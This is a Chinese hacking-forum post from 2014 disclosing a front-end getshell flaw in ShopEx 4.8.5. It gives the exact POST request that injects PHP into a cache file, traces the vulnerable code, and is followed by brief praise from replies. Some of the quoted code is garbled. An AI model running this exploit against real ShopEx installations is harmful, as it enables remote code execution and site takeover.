U神V5 发表于 2014-6-22 20:40:57

ShopEX 4.8.5.81822 前台Getshell

本帖最后由 U神V5 于 2014-6-22 20:52 编辑

利用方式:
Post提交

Post Data


conf_key=<?php phpinfo();?>.yyyyy&conf_val=test



http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0


Shell地址:
http://127.0.0.1/shopex-single-4.8.5.81822/home/cache/cachedata.stat.php



提交前:



提交后:



漏洞成因(解密后的代码错乱,只看关键的,无关代码已经略去)
http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0

api.php中10-11行
      require(CORE_DIR.'/api/shop_api.php');
      $system = new shop_api();
core/api/shop_api.php中
<?php
require_once( CORE_DIR."/kernel.php" );
require_once( CORE_DIR."/func_ext.php" );
class shop_api extends kernel
{
/**省略**/
      public function shop_api( )
    {
                $apiAct = $_REQUEST['act'];
      $APIs = include( CORE_DIR."/api/include/api_link.php" );
      $apiVersion = $_REQUEST['api_version' ) && $APIs[$apiAct][$apiVersion];
      $api = $APIs[$apiAct][$apiVersion];
                if(!$APIs[$apiAct][$apiversion]['n_varify' && !$this->verfy($_POST)){
            $this->error_handle('veriy fail');//n_varify=1,不需要经过verfy()函数处理
                }
      include( CORE_DIR."/api/shop_api_object.php" );
                include( CORE_DIR."/".dirname( $ctl )."/".$apiVersion."/".basename( $ctl ).".php" );
      $ctl = basename( $ctl );
      $act = $api['act'];
      if ( !class_exists( $ctl ) || !( $ctlObj = new $ctl( ) ) || !method_exists( $ctlObj, $act ) )
      {
            $this->error_handle( "service error", "can not service" );
      }
      /***下面应该是调用set_shopex_conf函数***/
      $ctlObj->$act($_POST);
      /**省略**/
    }
/**省略**/
?>
访问http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0即调用\core\api\site\5.0\api_5_0_site.php中的set_shopex_conf函数
conf_key=<?php phpinfo();?>.yyyyy&conf_val=test
访问http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0即调用\core\api\site\5.0\api_5_0_site.php中的set_shopex_conf函数
core/api/include/api_link.php中
$APIs['set_shopex_conf']=Array ( [5.0 => Array ( [ctl => api/site/api_5_0_site [act => set_shopex_conf [n_varify => 1 ) ); n_varify=1,不需要经过verfy()函数处理

\core\api\site\5.0\api_5_0_site.php中的set_shopex_conf函数
public function set_shopex_conf( $data )
    {
      error_log( var_export( $data, 1 ), 3, __FILE__.( ".log" ) );//写入了\core\api\site\5.0\api_5_0_site.php.log
      $this->system->setConf( $data['conf_key'], $data['conf_val' );//即setConf('<?php phpinfo();?>.yyyyy','test');
      $this->api_response( "true", false, "succ" );
    }

\core\kernel.php中
    public function setConf( $key, $data, $immediately = false )
    {
      return $this->__setting->set( $key, $data, $immediately );
      /***省略***/
    }

\core\include_v5\setmgr.php中
public function set( $key, $value, $immediately = false )//即set('<?php phpinfo();?>.yyyyy','test');
    {
      if ( !( $pos = strpos( $key, "." ) ) )
      {
            return;
      }
      $sub = substr( $key, $pos + 1 );
      if ( "*" == $sub )
      {
            $this->_pool[substr( $key, 0, $pos = $value;
      }
      else
      {
            $this->_pool[$sub = $value;//$this->_pool['<?php phpinfo();?>']['yyyyy']='test';
      }
      if ( $immediately )
      {
            return $this->_save( );
      }
      register_shutdown_function( array( $this, "_save" ) );//脚本执行完成时将调用_save函数http://www.php.net/manual/zh/fun ... utdown-function.php
      return true;
    }
\core\include_v5\setmgr.php中
public function _save( )
    {
      $db =& $this->system->database( );
      $vary = array( );
      foreach ( $this->_pool as $domain => $values )
      {
            $this->_bool_data_varify( $domain.".".key( $values ), $values );
            $rs = $db->quote( $domain )( "select * from sdb_settings where s_name=".$db->quote( $domain ) );
            $row = $db->getRows( $rs );
            $data = unserialize( $row['s_data' );
            $values = $data ? array_merge( $data, $values ) : $values;
            $send = array( "s_name" => $domain, "s_data" => $values, "s_time" => time( ) );
            $sql = $db->getUpdateSql( $rs, $send, true );
            if ( $sql )
            {
                $db->exec( $sql );
            }
            $vary["SETTING_".$domain = 1;
      }
      $this->system->cache->setModified( array_keys( $vary ) );//调用此函数将$this->_pool数组的键名写入到home/cache/cachedata.stat.php中
      return true;
    }

\plugins\functions\cache_secache.php中
    function cache_secache(){
      $this->workat(HOME_DIR.'/cache/cachedata');
      $statfile = HOME_DIR.'/cache/cachedata.stat.php';
      if(file_exists($statfile)){
            $this->_stat_rs = fopen($statfile,'rb+');
            $contents = '';
            while (!feof($this->_stat_rs)) {
                $contents .= fread($this->_stat_rs, 4096);
            }
            $this->_vary_list = unserialize($contents);
      }else{
            $this->_stat_rs = fopen($statfile,'wb+');
            $this->_vary_list = array();
      }
    }

function setModified($key){
      $now = time();
      if(is_array($key)){
            foreach($key as $k){
                $this->_vary_list[strtoupper($k = $now;
            }
      }else{
            $this->_vary_list[strtoupper($key = $now;
      }
      fseek($this->_stat_rs,0);
      ftruncate($this->_stat_rs,0);
      return fputs($this->_stat_rs,serialize($this->_vary_list));//最终写入到 home/cache/cachedata.stat.php
    }

home/cache/cachedata.stat.php开头没有<?php exit();?>一共写到两个文件
/core/api/site/5.0/api_5_0_site.php.log此处apache配置不当的话也可能会当作php解析
/home/cache/cachedata.stat.php

http://p0.qhimg.com/t01df8c2f2820114acf.jpg

90_ 发表于 2014-6-22 20:54:01

好东西~前排出售花生瓜子饮料小板凳

C4r1st 发表于 2014-6-22 21:02:06

好东西~前排弹小JJ服务

vivi 发表于 2014-6-22 22:01:10

支持一下,好东西。

另一个世界 发表于 2014-6-22 22:29:56

好厉害的大雄,赞一个!

huise 发表于 2014-6-22 23:45:54

好炫酷哦 支持一下

xyhacker 发表于 2014-6-22 23:53:08

掉爆了,!!!!

54pany 发表于 2014-6-23 03:10:42

:lol估计已经超过半年~~~

gty48 发表于 2014-6-23 07:54:06

出售花生瓜子饮料小板凳

野驴~ 发表于 2014-6-23 11:33:37

论坛有FB风格啊,我还以为我进错了呢
页: [1] 2
查看完整版本: ShopEX 4.8.5.81822 前台Getshell